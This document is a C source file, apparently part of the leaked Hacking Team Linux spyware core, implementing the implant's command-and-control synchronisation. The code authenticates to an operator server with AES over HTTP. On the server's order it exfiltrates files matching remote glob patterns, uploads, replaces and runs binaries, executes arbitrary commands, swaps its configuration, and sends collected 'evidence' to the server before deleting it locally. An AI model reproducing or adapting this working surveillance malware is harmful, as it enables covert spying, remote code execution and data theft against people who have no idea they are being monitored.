hackedteam/core-linux

View on GitHub
core/src/am_synchronize.c

Summary

Maintainability
Test Coverage
#define _BSD_SOURCE

#define PROTO_ERR         ((uint32_t)0x00)
#define PROTO_OK          ((uint32_t)0x01)
#define PROTO_NO          ((uint32_t)0x02)
#define PROTO_UNINSTALL   ((uint32_t)0x0a)

#define PROTO_ID              ((uint32_t)0x0f)
#define PROTO_UPGRADE         ((uint32_t)0x16)
#define PROTO_CONF            ((uint32_t)0x07)
#define PROTO_DOWNLOAD        ((uint32_t)0x0c)
#define PROTO_UPLOAD          ((uint32_t)0x0d)
#define PROTO_FILESYSTEM      ((uint32_t)0x19)
#define PROTO_EXEC            ((uint32_t)0x1b)
#define PROTO_EVIDENCE_SIZE   ((uint32_t)0x0b)
#define PROTO_EVIDENCE        ((uint32_t)0x09)
#define PROTO_BYE             ((uint32_t)0x03)

#define BIO_DECRYPT 0
#define BIO_ENCRYPT 1

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/sha.h>
#include <openssl/rand.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <curl/curl.h>
#include <glob.h>

#include "actionmanager.h"
#include "eventmanager.h"
#include "evidencemanager.h"
#include "module.h"
#include "exec.h"
#include "config.h"
#include "params.h"
#include "me.h"
#include "so.h"
#include "runtime.h"
#include "bioutils.h"

struct proto_ctx {
   CURL *curl;
   char host[256];
   unsigned char key[16];
   unsigned char iv[16];
   uint64_t time;
   struct {
      char upgrade;
      char conf;
      char filesystem;
      char download;
      char upload;
      char exec;
   } availables;
};
typedef struct proto_ctx PROTO_CTX;

int proto_auth(PROTO_CTX *proto_ctx);
int proto_id(PROTO_CTX *proto_ctx);
int proto_upgrade(PROTO_CTX *proto_ctx);
int proto_conf(PROTO_CTX *proto_ctx);
int proto_download(PROTO_CTX *proto_ctx);
int proto_upload(PROTO_CTX *proto_ctx);
int proto_exec(PROTO_CTX *proto_ctx);
int proto_filesystem(PROTO_CTX *proto_ctx);
int proto_sendevidence(PROTO_CTX *proto_ctx);
int proto_bye(PROTO_CTX *proto_ctx);
static int doreq(PROTO_CTX *proto_ctx, uint32_t command, BIO *bio_data);
static int filter(const struct dirent *de);
static size_t writefunc(char *ptr, size_t size, size_t nmemb, void *userdata);
static char *expandvars(char *s);

int am_synchronize(subaction_synchronize_t *s)
{
   PROTO_CTX proto_ctx;
   struct curl_slist *hdr = NULL;
   int ret = 0;

   debugme("[RUN] action synchronize\n");

   do {
      memset(&proto_ctx, 0x00, sizeof(proto_ctx));
      if(snprintf(proto_ctx.host, sizeof(proto_ctx.host), "%s", s->host) >= sizeof(proto_ctx.host)) break;
      if(!(proto_ctx.curl = curl_easy_init())) break;
      if(!(hdr = curl_slist_append(hdr, SO"Content-Type: application/octet-stream"))) break;
      if(!(hdr = curl_slist_append(hdr, SO"Expect:"))) break;
      if(curl_easy_setopt(proto_ctx.curl, CURLOPT_HTTPHEADER, hdr)) break;
      if(curl_easy_setopt(proto_ctx.curl, CURLOPT_COOKIEFILE, "")) break;
      if(curl_easy_setopt(proto_ctx.curl, CURLOPT_WRITEFUNCTION, writefunc)) break;
#ifdef DEBUG
      if(curl_easy_setopt(proto_ctx.curl, CURLOPT_VERBOSE, 1L)) break;
#endif

      ret = proto_auth(&proto_ctx);
      if(ret == PROTO_NO) {
         ret = -1;
         break;
      } else if(ret == PROTO_UNINSTALL) {
         ret = -2;
         break;
      } else if(ret == PROTO_ERR) {
         ret = -3;
         break;
      }

      ret = proto_id(&proto_ctx);
      debugme("proto_id=%d\n", ret);

      if(ret == -1) break;
      if(proto_ctx.availables.upgrade) if(proto_upgrade(&proto_ctx)) ret = 4;
      if(proto_ctx.availables.conf) {
         proto_conf(&proto_ctx);
         ret = 3;
      }
      if(proto_ctx.availables.download) proto_download(&proto_ctx);
      if(proto_ctx.availables.upload) proto_upload(&proto_ctx);
      if(proto_ctx.availables.exec) proto_exec(&proto_ctx);
      if(proto_ctx.availables.filesystem) proto_filesystem(&proto_ctx);
      proto_sendevidence(&proto_ctx);
   } while(0);

   if(ret != -3) {
      proto_bye(&proto_ctx);
   } else {
      ret = -1;
   }


   if(proto_ctx.curl) curl_easy_cleanup(proto_ctx.curl);
   if(hdr) curl_slist_free_all(hdr);

   return ret;
}

int BIO_write_int32(BIO *b, uint32_t i)
{
   return BIO_write(b, &i, sizeof(uint32_t));
}

int BIO_write_int64(BIO *b, uint64_t i)
{
   return BIO_write(b, &i, sizeof(uint64_t));
}

int BIO_write_string(BIO *b, char *s)
{
   int ret;

   ret = BIO_write_int32(b, (strlen(s) + 1) * 2);
   while(*s) {
      ret += BIO_write(b, s, 1);
      ret += BIO_write(b, "\0", 1);
      s++;
   }
   ret += BIO_write(b, "\0\0", 2);

   return ret;
}

uint32_t BIO_read_int(BIO *b)
{
   uint32_t ret;

   return (BIO_read(b, &ret, sizeof(ret)) == sizeof(ret)) ? ret : 0;
}

int BIO_read_string(BIO *b, char *s, int size)
{
   uint32_t len;
   uint16_t c;
   int ret = 1;
   char *p;
   
   if(size <= 0) return 0;

   len = BIO_read_int(b) / 2;

   p = s;

   while(len--) {
      if(BIO_read(b, &c, sizeof(c)) != sizeof(c)) {
         ret = 0;
         break;
      }

      if(!ret) continue;

      if((c < 0x0080) && (size > 1)) {
         *p++ = (char)c;
         size--;
      } else if((c < 0x0800) && (size > 2)) {
         *p++ = (char)(0xC0|(c>>6));
         *p++ = (char)(0x80|(c&0x3F));
         size -= 2;
      } else if(size > 3) {
         *p++ = (char)(0xE0|(c>>12));
         *p++ = (char)(0x80|((c>>6)&0x3F));
         *p++ = (char)(0x80|(c&0x3F));
         size -= 3;
      } else {
         ret = 0;
      }
   }

   if(!ret || ((p != s) && *--p)) {
      *s = '\0';
      ret = 0;
   } else {
      ret = strlen(s);
   }

   return ret;
}

int proto_auth(PROTO_CTX *proto_ctx)
{
   unsigned char devicekey[16], serverkey[16], nonce[16], end[16], sha[SHA_DIGEST_LENGTH];
   BIO *bio_req = NULL, *bio_resp = NULL, *bio_cipher = NULL, *bio_mem = NULL;
   int ret = PROTO_ERR, endlen;
   SHA_CTX sha_ctx;
   char *dataptr, url[256];
   long int datalen;

   do {
      if(RAND_pseudo_bytes(devicekey, sizeof(devicekey)) == -1) break;
      if(RAND_pseudo_bytes(nonce, sizeof(nonce)) == -1) break;
      if(RAND_pseudo_bytes(end, sizeof(end)) == -1) break;
      endlen = (time(NULL) % 15) + 1;

      if(!SHA1_Init(&sha_ctx)) break;
      if(!SHA1_Update(&sha_ctx, bps.build, 16)) break;
      if(!SHA1_Update(&sha_ctx, instance, 20)) break;
      if(!SHA1_Update(&sha_ctx, bps.subtype, 16)) break;
      if(!SHA1_Update(&sha_ctx, bps.confkey, 16)) break;
      if(!SHA1_Final(sha, &sha_ctx)) break;

      if(!(bio_req = BIO_new(BIO_s_mem()))) break;
      if(!(bio_cipher = BIO_new(BIO_f_cipher()))) break;
      memset(proto_ctx->iv, 0x00, sizeof(proto_ctx->iv));
      BIO_set_cipher(bio_cipher, EVP_get_cipherbyname(SO"aes-128-cbc"), bps.signature, proto_ctx->iv, BIO_ENCRYPT);
      BIO_push(bio_cipher, bio_req);

      if(BIO_write(bio_cipher, devicekey, sizeof(devicekey)) != sizeof(devicekey)) break;
      if(BIO_write(bio_cipher, nonce, sizeof(nonce)) != sizeof(nonce)) break;
      if(BIO_write(bio_cipher, bps.build, 16) != 16) break;
      if(BIO_write(bio_cipher, instance, 20) != 20) break;
      if(BIO_write(bio_cipher, bps.subtype, 16) != 16) break;
      if(BIO_write(bio_cipher, sha, sizeof(sha)) != sizeof(sha)) break;
      BIO_flush(bio_cipher);
      BIO_pop(bio_cipher);
      if(BIO_write(bio_req, end, endlen) != endlen) break;
      BIO_flush(bio_req);
      
      if(snprintf(url, sizeof(url), SO"http://%s/index.html", proto_ctx->host) >= sizeof(url)) break;
      if(!(datalen = BIO_get_mem_data(bio_req, &dataptr))) break;
      if(!(bio_resp = BIO_new(BIO_s_mem()))) break;
      if(curl_easy_setopt(proto_ctx->curl, CURLOPT_URL, url)) break;
      if(curl_easy_setopt(proto_ctx->curl, CURLOPT_POSTFIELDS, dataptr)) break;
      if(curl_easy_setopt(proto_ctx->curl, CURLOPT_POSTFIELDSIZE, datalen)) break;
      if(curl_easy_setopt(proto_ctx->curl, CURLOPT_WRITEDATA, bio_resp)) break;
      if(curl_easy_perform(proto_ctx->curl)) break;
      if(!(datalen = BIO_get_mem_data(bio_resp, &dataptr))) break;

      if(!(bio_mem = BIO_new(BIO_s_mem()))) break;
      memset(proto_ctx->iv, 0x00, sizeof(proto_ctx->iv));
      BIO_set_cipher(bio_cipher, EVP_get_cipherbyname(SO"aes-128-cbc"), bps.signature, proto_ctx->iv, BIO_DECRYPT);
      BIO_push(bio_cipher, bio_mem);

      if(BIO_write(bio_cipher, dataptr, 32) != 32) break;
      BIO_flush(bio_cipher);
      if(BIO_read(bio_mem, serverkey, sizeof(serverkey)) != sizeof(serverkey)) break;

      if(!SHA1_Init(&sha_ctx)) break;
      if(!SHA1_Update(&sha_ctx, bps.confkey, 16)) break;
      if(!SHA1_Update(&sha_ctx, serverkey, sizeof(serverkey))) break;
      if(!SHA1_Update(&sha_ctx, devicekey, sizeof(devicekey))) break;
      if(!SHA1_Final(proto_ctx->key, &sha_ctx)) break;

      if(BIO_reset(bio_mem) == -1) break;
      memset(proto_ctx->iv, 0x00, sizeof(proto_ctx->iv));
      BIO_set_cipher(bio_cipher, EVP_get_cipherbyname(SO"aes-128-cbc"), proto_ctx->key, proto_ctx->iv, BIO_DECRYPT);

      if(BIO_write(bio_cipher, dataptr + 32, datalen - 32) != (datalen - 32)) break;
      BIO_flush(bio_cipher);
      if((datalen = BIO_get_mem_data(bio_mem, &dataptr)) < (sizeof(nonce) + sizeof(ret))) break;
      if(memcmp(nonce, dataptr, sizeof(nonce))) break;

      ret = *((unsigned int *)(dataptr + sizeof(nonce)));
   } while(0);

   if(bio_req) BIO_free(bio_req);
   if(bio_resp) BIO_free(bio_resp);
   if(bio_cipher) BIO_free(bio_cipher);
   if(bio_mem) BIO_free(bio_mem);

   return ret;
}

int proto_id(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL;
   char *dataptr = NULL;
   long int datalen;
   int ret = PROTO_ERR;

   int num, i;

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;

      BIO_write_int32(bio_data, bps.version);
      BIO_write_string(bio_data, user);
      BIO_write_string(bio_data, host);
      BIO_write_string(bio_data, "");

      if((ret = doreq(proto_ctx, PROTO_ID, bio_data)) != PROTO_OK) break;
      if(!(datalen = BIO_get_mem_data(bio_data, &dataptr))) break;

      proto_ctx->time = *((uint64_t *)dataptr);
      dataptr += sizeof(proto_ctx->time);
      num = *((int *)dataptr);
      dataptr += sizeof(num);

      for(i = 0; i < num; i++) {
         switch(*(((uint32_t *)dataptr) + i)) {
            case PROTO_UPGRADE:
               proto_ctx->availables.upgrade = 1;
               break;
            case PROTO_CONF:
               proto_ctx->availables.conf = 1;
               break;
            case PROTO_DOWNLOAD:
               proto_ctx->availables.download = 1;
               break;
            case PROTO_UPLOAD:
               proto_ctx->availables.upload = 1;
               break;
            case PROTO_EXEC:
               proto_ctx->availables.exec = 1;
               break;
            case PROTO_FILESYSTEM:
               proto_ctx->availables.filesystem = 1;
               break;
         }
      }
   } while(0);

   if(bio_data) BIO_free(bio_data);

   return 0;
}

int proto_upgrade(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL, *bio_file = NULL;
   int ret, val = PROTO_ERR;
   char *ptr;
   uint32_t left;
   char name[512];

   debugme("PROTO_UPGRADE\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      if((ret = doreq(proto_ctx, PROTO_UPGRADE, bio_data)) != PROTO_OK) break;

      left = BIO_read_int(bio_data);
      BIO_read_string(bio_data, name, sizeof(name));
      ret = BIO_get_mem_data(bio_data, &ptr);

      debugme("upgrade file %s (%d left)\n", name, left);

      if(!(bio_file = BIO_new_file(name, "w"))) return PROTO_ERR;
      BIO_write(bio_file, ptr + sizeof(left), ret - sizeof(left));
      BIO_free(bio_file);
      BIO_free(bio_data);
      chmod(name, 0755);
      if(!strcmp(name, SO"core32") && (BITS == 32)) {
         rename(name, binaryname);
         val = 4;
      } else if(!strcmp(name, SO"core64") && (BITS == 64)) {
         rename(name, binaryname);
         val = 4;
      } else {
         unlink(name);
      }
   } while(left);

   return val;
}

int proto_conf(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL, *bio_file = NULL;
   int ret = PROTO_ERR;
   long int datalen;
   char *dataptr = NULL;

   debugme("|> CONF begin\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      if((ret = doreq(proto_ctx, PROTO_CONF, bio_data)) != PROTO_OK) break;
      ret = PROTO_ERR;
      if(!(datalen = BIO_get_mem_data(bio_data, &dataptr))) break;
      if(!(bio_file = BIO_new_file(SO".cache", "w"))) break;
      if(BIO_write(bio_file, dataptr, datalen) != datalen) break;
      BIO_free(bio_file);
      bio_file = NULL;

      am_stopqueue(QUEUE_FAST);
      stopmodule(MODULE_ALL_INDEX);
      parseconfig(SO".cache");

      if(BIO_reset(bio_data) == -1) break;

      BIO_write_int32(bio_data, PROTO_OK);
      if((ret = doreq(proto_ctx, PROTO_CONF, bio_data)) != PROTO_OK) break;
   } while(0);

   if(bio_data) BIO_free(bio_data);
   if(bio_file) BIO_free(bio_file);

   debugme("|> CONF end (%d)\n", ret);

   return ret;
}

int proto_download(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL, *bio_file = NULL;
   uint32_t num;
   char name[512], buf[4096], *expand = NULL;
   int ret = PROTO_ERR, chunk;
   glob_t globbuf;
   struct stat s;
   BIO *bio_additional = NULL, *bio_content = NULL;
   char *additionalptr = NULL, *contentptr = NULL;
   long int additionallen = 0, contentlen = 0;
   int version = 2008122901;
   int i, filenamesize;

   debugme("|> DOWNLOAD begin\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      if((ret = doreq(proto_ctx, PROTO_DOWNLOAD, bio_data)) != PROTO_OK) break;

      num = BIO_read_int(bio_data);
      debugme("Processing %u pattern(s)\n", num);

      while(num--) {
         BIO_read_string(bio_data, name, sizeof(name));
         expand = expandvars(name);
         strncpy(name, expand, sizeof(name) - 1);
         name[sizeof(name) - 1] = '\0';
         free(expand);
         debugme("- Pattern: %s\n", name);

         memset(&globbuf, 0x00, sizeof(globbuf));
         if(glob(name, GLOB_NOSORT|GLOB_TILDE|GLOB_PERIOD, NULL, &globbuf)) continue;
         for(i = 0; i < globbuf.gl_pathc; i++) {
            do {
               if(stat(globbuf.gl_pathv[i], &s) || !S_ISREG(s.st_mode)) continue;
               debugme("--- %s\n", globbuf.gl_pathv[i]);
               if(!(bio_file = BIO_new_file(globbuf.gl_pathv[i], "r"))) break;
               if(!(bio_content = BIO_new(BIO_s_mem()))) break;
               if(!(bio_additional = BIO_new(BIO_s_mem()))) break;
               while(!BIO_eof(bio_file)) {
                  chunk = BIO_read(bio_file, buf, sizeof(buf));
                  BIO_write(bio_content, buf, chunk);
               }
               filenamesize = strlen16(globbuf.gl_pathv[i]);
               BIO_write(bio_additional, &version, 4);
               BIO_write(bio_additional, &filenamesize, 4);
               BIO_puts16(bio_additional, globbuf.gl_pathv[i]);

               contentlen = BIO_get_mem_data(bio_content, &contentptr);
               if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;
               evidence_write(EVIDENCE_TYPE_DOWNLOAD, additionalptr, additionallen, contentptr, contentlen);
            } while(0);
            if(bio_file) { BIO_free(bio_file); bio_file = NULL; }
            if(bio_content) { BIO_free(bio_content); bio_content = NULL; }
            if(bio_additional) { BIO_free(bio_additional); bio_additional = NULL; }
         }
         globfree(&globbuf);
      }
   } while(0);
   if(bio_data) BIO_free(bio_data);

   debugme("|> DOWNLOAD end (%d)\n", ret);

   return ret;
}

int proto_upload(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL, *bio_file = NULL;
   int ret = PROTO_ERR;
   char *dataptr;
   long datalen;
   uint32_t left;
   char name[512];

   debugme("|> UPLOAD begin\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      do {
         BIO_reset(bio_data);
         if((ret = doreq(proto_ctx, PROTO_UPLOAD, bio_data)) != PROTO_OK) break;

         left = BIO_read_int(bio_data);
         BIO_read_string(bio_data, name, sizeof(name));
         datalen = BIO_get_mem_data(bio_data, &dataptr);

         debugme("- Upload: %s [%d] (%d left)\n", name, datalen - 4, left);

         if(!(bio_file = BIO_new_file(name, "w"))) continue;
         BIO_write(bio_file, dataptr + 4, datalen - 4);
         BIO_free(bio_file);
         chmod(name, 0755);
      } while(left);
   } while(0);
   if(bio_data) BIO_free(bio_data);

   return 0;
}

int proto_exec(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL;
   uint32_t num;
   char name[512], *expand = NULL;
   int ret = PROTO_ERR;

   debugme("|> EXEC begin\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      if((ret = doreq(proto_ctx, PROTO_EXEC, bio_data)) != PROTO_OK) break;

      num = BIO_read_int(bio_data);
      debugme("Processing %u command(s)\n", num);

      while(num--) {
         BIO_read_string(bio_data, name, sizeof(name));
         expand = expandvars(name);
         strncpy(name, expand, sizeof(name) - 1);
         name[sizeof(name) - 1] = '\0';
         free(expand);
         debugme("- Command: %s\n", name);
         exec(name);
      }
   } while(0);
   if(bio_data) BIO_free(bio_data);

   debugme("|> EXEC end (%d)\n", ret);

   return ret;
}

int proto_filesystem(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL;
   int ret = PROTO_ERR;
   uint32_t num, depth;
   char name[512], *expand = NULL;
   glob_t globbuf;
   int i, j, filenamelen, flags, version = 2010031501;
   unsigned int filesizelow, filesizehigh, filetimelow, filetimehigh;
   struct stat s;
   char *entry = NULL;
   BIO *bio_content = NULL;
   char *contentptr = NULL;
   long int contentlen;
   unsigned long long int ts;

   debugme("|> FILESYSTEM begin\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      if((ret = doreq(proto_ctx, PROTO_FILESYSTEM, bio_data) != PROTO_OK)) break;

      num = BIO_read_int(bio_data);
      debugme("Processing %u pattern(s)\n", num);

      if(!(bio_content = BIO_new(BIO_s_mem()))) break;

      while(num--) {
         depth = BIO_read_int(bio_data);
         BIO_read_string(bio_data, name, sizeof(name));
         expand = expandvars(name);
         strncpy(name, expand, sizeof(name) - 1);
         name[sizeof(name) - 1] = '\0';
         free(expand);
         if(name[0] && name[strlen(name) - 1] == '*') name[strlen(name) - 1] = '\0';
         if(strcmp(name, "/") && (name[strlen(name) - 1] == '/')) name[strlen(name) - 1] = '\0';
         debugme("- Pattern: %s (depth: %u)\n", name, depth);

         memset(&globbuf, 0x00, sizeof(globbuf));
         if(glob(name, GLOB_NOSORT|GLOB_TILDE|GLOB_PERIOD, NULL, &globbuf)) continue;
         while(depth--) {
            strncat(name, "/*", sizeof(name) - strlen(name) - 1);
            if(glob(name, GLOB_NOSORT|GLOB_TILDE|GLOB_PERIOD|GLOB_APPEND, NULL, &globbuf)) continue;
         }
         for(i = 0; i < globbuf.gl_pathc; i++) {
            entry = globbuf.gl_pathv[i];
            if(stat(entry, &s) || !(S_ISREG(s.st_mode) || S_ISDIR(s.st_mode))) continue;
            if(S_ISDIR(s.st_mode) && (((strlen(entry) >= 2) && !strcmp(entry + strlen(entry) - 2, "/.")) || ((strlen(entry) >= 3) && !strcmp(entry + strlen(entry) - 3, "/..")))) continue;
            filenamelen = strlen16(entry);
            ts = ((unsigned long long int)s.st_mtime + 11644473600LL) * 10000000LL;
            filetimehigh = (unsigned int)((ts>>32) & 0x00000000FFFFFFFFLL);
            filetimelow = (unsigned int)(ts & 0x00000000FFFFFFFFLL);
            if(S_ISDIR(s.st_mode)) {
               filesizelow = 0;
               filesizehigh = 0;
               for(j = i + 1, flags = 1; j < globbuf.gl_pathc; j++) {
                  if(strncmp(entry, globbuf.gl_pathv[j], strlen(entry))) continue;
                  if(!strcmp(globbuf.gl_pathv[j] + strlen(entry), "/.") || !strcmp(globbuf.gl_pathv[j] + strlen(entry), "/..")) {
                     flags = 3;
                  } else {
                     flags = 1;
                     break;
                  }
               }
            } else {
               filesizelow = (unsigned int)(s.st_size & 0x00000000FFFFFFFFLL);
               filesizehigh = (unsigned int)((s.st_size>>32) & 0x00000000FFFFFFFFLL);
               flags = 0;
            }
            debugme("--- [%c] %s\n", (flags&1) ? ((flags&2) ? 'E' : 'D') : 'F', entry);
            BIO_write(bio_content, &version, 4);
            BIO_write(bio_content, &filenamelen, 4);
            BIO_write(bio_content, &flags, 4);
            BIO_write(bio_content, &filesizelow, 4);
            BIO_write(bio_content, &filesizehigh, 4);
            BIO_write(bio_content, &filetimelow, 4);
            BIO_write(bio_content, &filetimehigh, 4);
            BIO_puts16(bio_content, entry);
         }
         globfree(&globbuf);
      }

      if(!(contentlen = BIO_get_mem_data(bio_content, &contentptr))) break;
      evidence_write(EVIDENCE_TYPE_FILESYSTEM, NULL, 0, contentptr, contentlen);
   } while(0);
   if(bio_data) BIO_free(bio_data);
   if(bio_content) BIO_free(bio_content);

   debugme("|> FILESYSTEM end (%d)\n", ret);

   return ret;
}

int proto_sendevidence(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL;
   int ret = PROTO_ERR, len;

   struct stat s;
   FILE *fp = NULL;
   char buf[1024];
   int n = 0, i;
   uint64_t size = 0;
   struct dirent **de = NULL;

   debugme("|> EVIDENCE begin\n");

   do {
      flushmodule(MODULE_ALL_INDEX);

      if(!(bio_data = BIO_new(BIO_s_mem()))) break;

      if((n = scandir(".", &de, filter, alphasort)) <= 0) break;
      for(i = 0; i < n; i++) if(stat(de[i]->d_name, &s) != -1) size += (uint64_t)s.st_size;
      BIO_write_int32(bio_data, n);
      BIO_write_int64(bio_data, size);
      debugme("Sending %d evidences (%llu bytes)\n", n, size);
      if((ret = doreq(proto_ctx, PROTO_EVIDENCE_SIZE, bio_data)) != PROTO_OK) break;

      for(i = 0; i < n; i++)  {
         if(BIO_reset(bio_data) == -1) break;
         if(stat(de[i]->d_name, &s) == -1) break;
         if(!(fp = fopen(de[i]->d_name, "r"))) break;
         debugme("sending evidence %d/%d -> %s\n", i + 1, n, de[i]->d_name);

         BIO_write_int32(bio_data, s.st_size);
         while((len = fread(buf, 1, sizeof(buf), fp))) {
            if(BIO_write(bio_data, buf, len) != len) break;
         }
         if(!feof(fp)) break;
         fclose(fp);
         fp = NULL;

         if((ret = doreq(proto_ctx, PROTO_EVIDENCE, bio_data)) != PROTO_OK) break;
         debugme("done evidence %d/%d (%d)-> %s\n", i + 1, n, ret, de[i]->d_name);

         unlink(de[i]->d_name);
      }
   } while(0);

   if(bio_data) BIO_free(bio_data);
   if(fp) fclose(fp);
   if(de) {
      for(i = 0; i < n; i++) free(de[i]);
      free(de);
   }

   debugme("|> EVIDENCE end (%d)\n", ret);

   return ret;
}

int proto_bye(PROTO_CTX *proto_ctx)
{
   BIO *bio_data = NULL;
   int ret = PROTO_ERR;

   debugme("|> BYE begin\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      if((ret = doreq(proto_ctx, PROTO_BYE, bio_data)) != PROTO_OK) break;
   } while(0);

   if(bio_data) BIO_free(bio_data);

   debugme("|> BYE end (%d)\n", ret);

   return ret;
}

/* mancano i controlli d'errore sui valori di ritorno */
static int doreq(PROTO_CTX *proto_ctx, uint32_t command, BIO *bio_data)
{
   BIO *bio_req = NULL, *bio_resp = NULL, *bio_cipher = NULL, *bio_md = NULL;
   char url[256], *data = NULL, sha[SHA_DIGEST_LENGTH], check[SHA_DIGEST_LENGTH];
   uint32_t len = 0, cmd;
   int ret = PROTO_ERR;
   unsigned char end[16];
   int endlen;
   char *dataptr;
   long int datalen = 0;

   do {
      if(bio_data) {
         BIO_flush(bio_data);
         datalen = BIO_get_mem_data(bio_data, &dataptr);
      }

      if(RAND_pseudo_bytes(end, sizeof(end)) == -1) break;
      endlen = (time(NULL) % 15) + 1;

      if(!(bio_req = BIO_new(BIO_s_mem()))) break;
      if(!(bio_cipher = BIO_new(BIO_f_cipher()))) break;
      if(!(bio_md = BIO_new(BIO_f_md()))) break;
      memset(proto_ctx->iv, 0x00, sizeof(proto_ctx->iv));
      BIO_set_cipher(bio_cipher, EVP_get_cipherbyname(SO"aes-128-cbc"), proto_ctx->key, proto_ctx->iv, BIO_ENCRYPT);
      if(!BIO_set_md(bio_md, EVP_sha1())) break;
      BIO_push(bio_cipher, bio_req);
      BIO_push(bio_md, bio_cipher);

      /* TODO XXX controllare valori di ritorno */
      BIO_write_int32(bio_md, command);
      if(datalen) BIO_write(bio_md, dataptr, datalen);
      BIO_gets(bio_md, sha, sizeof(sha));
      BIO_pop(bio_md);
      BIO_write(bio_cipher, sha, sizeof(sha));
      BIO_flush(bio_cipher);
      BIO_pop(bio_cipher);
      BIO_write(bio_req, end, endlen);
      BIO_flush(bio_req);
      /* * * * */

      if(snprintf(url, sizeof(url), SO"http://%s/index.html", proto_ctx->host) >= sizeof(url)) break;
      if(!(datalen = BIO_get_mem_data(bio_req, &dataptr))) break;
      if(!(bio_resp = BIO_new(BIO_s_mem()))) break;
      if(curl_easy_setopt(proto_ctx->curl, CURLOPT_URL, url)) break;
      if(curl_easy_setopt(proto_ctx->curl, CURLOPT_POSTFIELDS, dataptr)) break;
      if(curl_easy_setopt(proto_ctx->curl, CURLOPT_POSTFIELDSIZE, datalen)) break;
      if(curl_easy_setopt(proto_ctx->curl, CURLOPT_WRITEDATA, bio_resp)) break;
      if(curl_easy_perform(proto_ctx->curl)) break;

      if(BIO_write(bio_resp, SO"ADDITIONALBLOCK", 16) != 16) break;
      if(BIO_reset(bio_data) != 1) break;
      if(BIO_reset(bio_md) != 0) break;
      memset(proto_ctx->iv, 0x00, sizeof(proto_ctx->iv));
      BIO_set_cipher(bio_cipher, EVP_get_cipherbyname(SO"aes-128-cbc"), proto_ctx->key, proto_ctx->iv, BIO_DECRYPT);
      BIO_push(bio_cipher, bio_resp);
      BIO_push(bio_md, bio_cipher);

      if(BIO_read(bio_md, &cmd, sizeof(cmd)) != sizeof(cmd)) break;
      if(cmd == PROTO_OK) {
         if(BIO_read(bio_md, &len, sizeof(len)) != sizeof(len)) break;
         if(len) {
            if(!(data = malloc(len))) break;
            if(BIO_read(bio_md, data, len) != len) break;
            if(BIO_write(bio_data, data, len) != len) break;
         }
      }
      if(BIO_gets(bio_md, sha, sizeof(sha)) != sizeof(sha)) break;
      if(BIO_read(bio_cipher, check, sizeof(check)) != sizeof(check)) break;
      if(memcmp(sha, check, sizeof(sha))) break;

      ret = cmd;
   } while(0);

   if(bio_req) BIO_free(bio_req);
   if(bio_resp) BIO_free(bio_resp);
   if(bio_cipher) BIO_free(bio_cipher);
   if(bio_md) BIO_free(bio_md);
   if(data) free(data);

   return ret;
}

static int filter(const struct dirent *de)
{
   struct stat s;

   return ((!stat(de->d_name, &s) && (s.st_mode & S_IFREG) && (s.st_mode & S_ISVTX)) ? 1 : 0);
}

static size_t writefunc(char *ptr, size_t size, size_t nmemb, void *userdata)
{
   return BIO_write((BIO *)userdata, ptr, nmemb * size);
}

char *expandvars(char *s)
{
   BIO *b = NULL;
   char *bptr = NULL, *ret = NULL;
   char *var = NULL, *env = NULL, c;

   do {
      if(!s) break;
      if(!(b = BIO_new(BIO_s_mem()))) break;

      if(!strcasecmp(s, SO"%userprofile%")) {
         if((var = getenv(SO"HOME"))) {
            BIO_puts(b, var);
         }
         s += 13;
      }

      if(!strncasecmp(s, SO"$dir$", 5)) {
         if((var = getcwd(NULL, 0))) {
            BIO_puts(b, var);
            free(var);
         }
         s += 5;
      }

      while(*s) {
         switch(*s) {
            case '\\':
               BIO_write(b, s++, 1);
               if(*s) BIO_write(b, s++, 1);
               break;
            case '$':
               if(sscanf(s, SO"${%m[a-zA-Z0-9_]%[}]", &var, &c) == 2) {
                  if((env = getenv(var))) BIO_puts(b, env);
                  s += (strlen(var) + 3);
               } else if(sscanf(s, SO"$%m[a-zA-Z0-9_]", &var) == 1) {
                  if((env = getenv(var))) BIO_puts(b, env);
                  s += (strlen(var) + 1);
               } else {
                  BIO_write(b, s++, 1);
               }
               break;
            default:
               BIO_write(b, s++, 1);
               break;
         }
      }
      BIO_write(b, "\0", 1);

      if(BIO_get_mem_data(b, &bptr) > 0) ret = strdup(bptr);
   } while(0);
   if(b) BIO_free(b);

   return ret ? ret : strdup(s);
}